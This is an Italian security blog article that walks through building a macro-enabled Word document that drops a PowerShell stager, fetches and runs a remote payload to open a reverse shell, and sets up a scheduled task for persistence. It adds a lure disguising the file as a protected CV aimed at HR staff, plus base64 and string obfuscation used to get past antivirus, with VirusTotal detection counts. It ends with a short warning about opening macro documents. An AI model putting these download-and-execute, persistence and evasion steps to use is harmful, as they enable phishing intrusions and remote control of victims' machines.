Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Sotto Attacco: Come un Documento Word Può Essere la Tua Più Grande Minaccia

Manuel Roccon : 11 Dicembre 2023 06:55

Sappiamo che documenti malevoli come word vengono usati nelle campagne di phishing per diffondere malware, rubare credenziali e informazioni sensibili. Ma come può un documento word può fare tutte queste cose essendo usato per leggere e scrivere documenti?

In questo articolo vedremo come un documento word con delle macro può permetterci di fare alcune cose interessanti, tra cui salvare dati sul disco, comunicare con un server remoto e ottenere il controllo del dispositivo della vittima. 

Verificheremo il funzionamento e vedremo come un antivirus rilevi la minaccia. In seguito applicheremo degli offuscamenti in modo che il malware sia meno rilevabile. Utilizzeremo le macro in un foglio word per far scrivere in un file bat un una directory temporanea contenente un payload.

Sponsorizza la prossima Red Hot Cyber Conference!

Il giorno Lunedì 18 maggio e martedì 19 maggio 2026 9 maggio 2026, presso il teatro Italia di Roma (a due passi dalla stazione termini e dalla metro B di Piazza Bologna), si terrà la V edizione della la RHC Conference
Si tratta dell’appuntamento annuale gratuito, creato dalla community di RHC, per far accrescere l’interesse verso le tecnologie digitali, l’innovazione digitale e la consapevolezza del rischio informatico. 
Se sei interessato a sponsorizzare l'evento e a rendere la tua azienda protagonista del più grande evento della Cybersecurity Italiana, non perdere questa opportunità. E ricorda che assieme alla sponsorizzazione della conferenza, incluso nel prezzo, avrai un pacchetto di Branding sul sito di Red Hot Cyber composto da Banner più un numero di articoli che saranno ospitati all'interno del nostro portale. 
Quindi cosa stai aspettando? Scrivici subito a [email protected] per maggiori informazioni e per accedere al programma sponsor e al media Kit di Red Hot Cyber.



Supporta RHC attraverso:
 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.
 

Tenteremo di ottenere anche la persistenza utilizzando le attività pianificate di Windows che eseguirà il payload a intervalli regolari e ogni volta tenterà di comunicare con il nostro server malevolo, per scaricare il payload finale e avviare una shell remota sul dispositivo della vittima.

Per il test ho installato Avira Free all’ultima versione e fermata la scansione realtime per permetterci di creare e manipolare il documento malevolo. 

Iniziamo

Per prima cosa dobbiamo abilitare gli Strumenti sviluppo word che ci faranno accedere all’editor delle macro. Quindi andiamo in:

File -> Opzioni -> Personalizzazione barra applicazioni

Creiamo il primo esempio

Nel primo esempio che creeremo, inseriremo delle macro senza applicare nessun offuscamento particolare. Ora accediamo agli strumenti di sviluppo e creiamo una macro

Questa di seguito è la macro di default che viene creata

Ora andiamo a sostituire quella di default con questa, per permettere l’esecuzione automatica all’apertura del documento.

Ora inseriamo questo codice.

Vediamolo nel dettaglio:

Qui viene definito uno stager: Uno stager è un eseguibile compatto utilizzato negli attacchi informatici a più fasi per stabilire una connessione al server di comando e controllo (C&C) , fornire ed eseguire moduli dannosi più grandi, nel nostro caso il codice powershell per avviare la reverse shell.

Last = "powershell -exec bypass IEX ((new-object net.webclient).downloadstring('http://192.168.218.128/poc.txt')) -WindowStyle Minimized"

Lo stager verrà salvato un una directory temporanea in un file BAT:

FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
Set fso = CreateObject("Scripting.FileSystemObject")
Set oFile = fso.CreateTextFile(FileName)
oFile.WriteLine "@echo off"
oFile.WriteLine Last
oFile.Close
Set oFile = Nothing

Per mantenere la persistenza verrà creata un’attività schedulata che eseguirà il nostro stager ogni 5 minuti per mantenere la persistenza, lo stager scaricherà ed eseguirà on memory il payload nel server remoto:

CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /sc minute /mo 5 /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /F""""", 0, False

A questo punto dobbiamo salvare il documento come docm.

Un po’ di social engineering

I file contenenti macro solitamente vengono bloccati con un avviso quindi dobbiamo confondere ed indurre la vittima ad accettare di attivare le macro. In questo caso supponiamo di attaccare l’ufficio HR che sarà abituata a leggere molti CV.

Quindi camuffiamo il documento come un “documento stranamente protetto”, inserendo come sfondo un CV offuscato e un testo che chieda di accettare il messaggio per leggerlo, in quanto è protetto. Andiamo nell’intestazione del documento, e mettiamoci lo sfondo.

A questo punto mettiamo un messaggio ingannevole

Salviamo tutto e riapriamo il documento, ora l’esca è perfetta.

Testiamo il funzionamento

Ora vediamo funzionamento:

In alto a sinistra è presente il payload, è una reverse shell in powershell che verrà eseguita dallo stager. In questo payload potremmo metterci qualunque cosa.

A destra invece il nostro server HTTP che servirà il payload (poc.txt) che lo stager scaricherà quando la macro nel file verrà eseguito.

Infine in basso a sinistra il nostro listener in ascolto. Una volta eseguito il payload, verrà stabilità la reverse shell alla vittima.

Apriamo il documento ed ecco la nostra reverse shell sulla macchina vittima.

Appena il task verrà eseguito, verrà scaricato il payload (alto a sinistra) dal server eseguito in memory  (alto a destra) dalla vittima e quindi verrà aperta la reverse shell.

Analizziamo ora che nella directory TEMP è stato creato il nostro stager.

Ed è presente anche  l’operazione pianificata creata che verrà eseguita ogni 5 minuti mantenendo la persistenza.

Analisi antivirus

Tutto bello fin qui, ma vediamo come l’antivirus veda il file. Abilitiamo la scansione real time e apriamo il file.

Il file viene visto ancor prima che venga eseguito…

Ora vediamo come possiamo evadere l’antivirus..

Offuschiamo lo stager 

Powershell ha una funzione che permette di encodare in base64 il codice da eseguire,  questo renderà illeggibile il codice se all’interno se non decodificato.

A tale scopo usiamo questa repo di github.

https://github.com/plackyhacker/ps-encoder

powershell -WindowStyle Minimized -exec bypass -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADgALgAxADIAOAAvAHAAbwBjAC4AdAB4AHQAJwApACkA

Ora sostituiamola nel codice

Offuschiamo il payload che verrà scaricato dal server ed eseguito.

Allo stesso modo offuschiamo il payload presente sul server.

Per far eseguire il payload sarà necessario includere tutto il payload all’interno di $()

Offuschiamo le variabili:

Ho creato uno script al volo per poter offuscare le stringhe nelle variabili in modo che sia molto difficile per l’antivirus comprendere cosa contengono, inoltre alterno caratteri codificati in ascii a caratteri normali.

Essendo che i comandi powershell o CMD contengono apici che possono interferire nella creazione della stringa, può essere necessario modificare l’originale per non generare errori.

Questo è output generato:

Ora sostituiamo man mano le varie stringhe.

Finito tutto verifichiamo di nuovo.

Il funzionamento è analogo a prima.

Test finale

Ora facciamo una scansione e proviamo anche ad aprire il file word e abilitiamo la scansione real time, ma la versione free di Avira questa volta non ha più rilevato la minaccia.

Virustotal

VirusTotal è un servizio web per analizzare link e documenti e con una moltitudine di antivirus e verificare se vengano riconosciuti malevoli.

https://www.virustotal.com/

Ora non ci resta che analizzare i POC su VirusTotal e verificare quanti antivirus rilevano i documenti come minacce!

Nel primo POC ricaviamo un punteggio di 30 su 60 vendors che hanno rilevato una minaccia.

https://www.virustotal.com/gui/file/6d12e1f7e22554e52e873ae8e7d326464c8e5cb150d27a40342036fa9aa02685/detection

Quello offuscato otteniamo invece un punteggio di 22 su 62.

https://www.virustotal.com/gui/file/9cc54200c6986555768ad0d6499396a9edf4870bdb08a3aade181565e2e57b5e/behavior

Applicando gli offuscamenti abbiamo evaso 8 antivirus rispetto alla versione non offuscata.

Approfondimento

Cosa interessante, dopo aver caricato i file di virus total, il giorno dopo il secondo poc ha iniziato ad essere rilevato. Quindi probabilmente le firme contengono anche i rilevamenti di virus total.

Però è bastato modificare un carattere nel testo del documento (quindi la firma del file è cambiata) e il file di nuovo è tornato a essere non rilevabile.

Conclusioni

In questo articolo abbiamo visto alcuni punti fondamentali per poter rendere minaccioso un documento word attraverso le macro, per cui è sempre necessario prestare attenzione ai documenti che vengono aperti soprattutto se arrivano via mail, da mittenti sconosciuti e documenti come questo che richiedano l’attivazione delle macro.

Da ricordare che l’utilizzo delle macro in questi documenti sono solo uno dei possibili modi per rendere un documento dannoso, per esempio ci sono anche le CVE, come la scorsa Follina (CVE-2022-30190) entrata nelle classifiche delle 10 vulnerabilità più sfruttate nel 2022, che permettono a questi documenti di poter eseguire codice dannoso sulle macchine delle vittime.

Manuel Roccon
Ho iniziato la mia carriera occuparmi nella ricerca e nell’implementazioni di soluzioni in campo ICT e nello sviluppo di applicazioni. Al fine di aggiungere aspetti di sicurezza in questi campi, da alcuni anni ho aggiunto competenze inerenti al ramo offensive security (OSCP), occupandomi anche di analisi di sicurezza e pentest in molte organizzazioni.

Lista degli articoli

Articoli in evidenza

Microsoft cede alla pressione UE: Windows 10 avrà aggiornamenti di sicurezza gratis
Di Redazione RHC - 28/09/2025

Microsoft ha accettato di accogliere le richieste degli attivisti europei per i diritti umani ed estendere il supporto di Windows 10 agli utenti dello Spazio Economico Europeo (SEE) senza ulteriori co...

Cosa sono le Google dorks? Scopriamole assieme
Di Massimiliano Brolli - 27/09/2025

Le Google dorks, sono diventate sinonimo di hacking, che può essere appreso da qualsiasi utente del World Wide Web. Anche se il termine si concentra su Google, ci sono alcuni comandi che funzionano a...

Identità digitali italiane in vendita: pacchetti KYC a 300 dollari sul Dark Web
Di Redazione RHC - 27/09/2025

Recentemente, un avviso sul noto forum underground “DarkForum” ha riacceso i riflettori sul crescente e pericoloso mercato della compravendita di documenti d’identità rubati o falsificati. L’...

Due bug critici in Cisco ASA e FTD: score 9.9 e rischio esecuzione di codice remoto
Di Redazione RHC - 25/09/2025

Cisco ha reso note due vulnerabilità critiche che interessano i propri firewall Secure Firewall Adaptive Security Appliance (ASA) e Secure Firewall Threat Defense (FTD), oltre ad altri prodotti di re...

Linux balla la samba… ma cade in una race condition. Una falla critica minaccia il kernel
Di Redazione RHC - 25/09/2025

Il ricercatore Nicholas Zubrisky di Trend Research ha segnalato una vulnerabilità critica nel componente ksmbd del kernel Linux che consente ad aggressori remoti di eseguire codice arbitrario con i m...